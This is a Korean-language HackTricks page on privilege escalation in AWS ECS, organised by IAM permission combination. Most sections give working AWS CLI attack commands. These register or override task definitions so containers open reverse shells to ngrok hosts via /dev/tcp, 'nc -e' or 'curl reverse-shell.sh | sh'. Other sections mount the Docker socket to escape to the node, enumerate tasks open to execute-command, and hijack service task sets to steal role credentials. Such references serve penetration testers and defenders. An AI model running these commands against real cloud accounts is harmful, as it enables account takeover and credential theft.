AWS - ECS Privesc

Reading time: 10 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

ECS

ECS에 대한 추가 정보는 다음을 확인하세요:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

공격자는 ECS에서 iam:PassRole, ecs:RegisterTaskDefinitionecs:RunTask 권한을 악용하여 메타데이터 자격증명을 탈취하는 악성 컨테이너를 포함한 새로운 task definition을 생성하고 이를 실행할 수 있습니다.

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: 다른 ECS role로의 직접적인 privesc.

iam:PassRole,ecs:RunTask

iam:PassRoleecs:RunTask 권한을 가진 공격자는 수정된 execution role, task role 및 컨테이너의 command 값으로 새로운 ECS task를 시작할 수 있습니다. ecs run-task CLI 명령은 --overrides 플래그를 제공하며, 이를 통해 task definition을 건드리지 않고 런타임에 executionRoleArn, taskRoleArn 및 컨테이너의 command를 변경할 수 있습니다.

taskRoleArnexecutionRoleArn에 지정된 IAM role들은 트러스트 정책에서 ecs-tasks.amazonaws.com이 이를 assume할 수 있도록 trust/allow 되어 있어야 합니다.

또한 공격자는 다음 정보를 알고 있어야 합니다:

  • ECS cluster name
  • VPC Subnet
  • Security group (Security group이 지정되지 않으면 기본 보안 그룹이 사용됩니다)
  • Task Definition Name and revision
  • Name of the Container
bash
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

위 코드 스니펫에서 공격자는 taskRoleArn 값만 덮어씁니다. 그러나 공격이 발생하려면 공격자는 명령에서 지정한 taskRoleArn과 태스크 정의에서 지정된 executionRoleArn에 대해 iam:PassRole 권한을 가지고 있어야 합니다.

공격자가 전달할 수 있는 IAM 역할이 ECR 이미지를 풀하고 ECS 태스크를 시작할 수 있는 충분한 권한(ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer, ecr:BatchGetImage, ecr:GetAuthorizationToken)을 가지고 있다면, 공격자는 ecs run-task 명령에서 executionRoleArntaskRoleArn에 동일한 IAM 역할을 지정할 수 있습니다.

sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

잠재적 영향: 어떤 ECS task role에 대한 직접 privesc.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

이전 예와 마찬가지로, 공격자는 ECS에서 iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask 권한을 악용하여 메타데이터 자격증명을 탈취하는 악성 컨테이너를 포함한 새로운 task definition을 생성하고 실행할 수 있습니다.
하지만 이 경우에는 악성 task definition을 실행할 container instance가 필요합니다.

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

잠재적 영향: Direct privesc to any ECS role.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

이전 예제와 마찬가지로, ECS에서 iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService 또는 ecs:CreateService 권한을 악용하는 공격자는 새 task definition을 생성하여 악성 container로 metadata credentials를 탈취하고 최소 1개의 task가 실행되도록 새 service를 생성해 이를 실행할 수 있습니다.

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

잠재적 영향: 모든 ECS role에 대한 직접적인 privesc.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

사실, 이러한 권한만으로 overrides를 사용하여 임의의 role로 컨테이너에서 임의의 명령을 실행할 수 있습니다. 예:

bash
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

잠재적 영향: 임의의 ECS role에 대한 직접 privesc.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

이 시나리오는 이전 경우들과 유사하지만 iam:PassRole 권한이 없음.
역할이 없더라도 임의의 컨테이너를 실행할 수 있다면, 권한이 높은 컨테이너를 실행해 노드로 탈출할 수 있으며 노드에서 실행 중인 EC2 IAM role다른 ECS 컨테이너들의 roles를 훔칠 수 있습니다.
심지어 손상시킨 EC2 인스턴스 내부에서 다른 태스크들이 실행되도록 강제해 그들의 자격증명을 훔칠 수도 있습니다(자세한 내용은 Privesc to node section 참조).

warning

이 공격은 ECS cluster가 EC2를 사용하고 있는 경우에만 가능하며 Fargate에서는 불가능합니다.

bash
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

권한 **ecs:ExecuteCommand, ecs:DescribeTasks**를 가진 공격자는 실행 중인 컨테이너 내부에서 명령을 실행하고 그에 연결된 IAM 역할을 유출할 수 있습니다(aws ecs execute-command를 실행하려면 describe 권한이 필요합니다).
하지만 이를 위해서는 컨테이너 인스턴스에서 ExecuteCommand agent가 실행 중이어야 합니다(기본적으로는 실행되어 있지 않습니다).

따라서 공격자는 다음을 시도할 수 있습니다:

  • 모든 실행 중인 컨테이너에서 명령 실행 시도
bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • 해당 사용자가 ecs:RunTask 권한을 가지고 있다면, aws ecs run-task --enable-execute-command [...]로 작업을 실행하세요.
  • 해당 사용자가 ecs:StartTask 권한을 가지고 있다면, aws ecs start-task --enable-execute-command [...]로 작업을 실행하세요.
  • 해당 사용자가 ecs:CreateService 권한을 가지고 있다면, aws ecs create-service --enable-execute-command [...]로 서비스를 생성하세요.
  • 해당 사용자가 ecs:UpdateService 권한을 가지고 있다면, aws ecs update-service --enable-execute-command [...]로 서비스를 업데이트하세요.

이 옵션들의 예시는 이전 ECS privesc 섹션들에서 확인할 수 있습니다.

Potential Impact: 컨테이너에 연결된 다른 역할로의 Privesc.

ssm:StartSession

ssm privesc 페이지에서 이 권한을 어떻게 악용해 ECS로 privesc할 수 있는지 확인하세요:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

ec2 privesc 페이지에서 이러한 권한들을 어떻게 악용해 ECS로 privesc할 수 있는지 확인하세요:

AWS - EC2 Privesc

ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole

이 권한들을 가진 공격자는 ECS 클러스터에 EC2 인스턴스를 등록하고 해당 인스턴스에서 작업을 실행할 수 있습니다. 이는 공격자가 ECS 작업의 컨텍스트 내에서 임의의 코드를 실행할 수 있게 할 수 있습니다.

  • TODO: 다른 AWS 계정의 인스턴스를 등록하여 작업이 공격자가 제어하는 머신에서 실행되도록 하는 것이 가능한가요??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

note

TODO: 테스트 필요

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets 권한을 가진 공격자는 기존 ECS 서비스에 대해 악의적인 task set을 생성하고 primary task set을 업데이트할 수 있습니다. 이를 통해 공격자는 서비스 내에서 임의의 코드를 실행할 수 있습니다.

bash
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

잠재적 영향: 영향을 받는 서비스에서 임의의 코드를 실행하여 서비스의 기능에 영향을 주거나 민감한 데이터를 유출할 수 있습니다.

참조

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기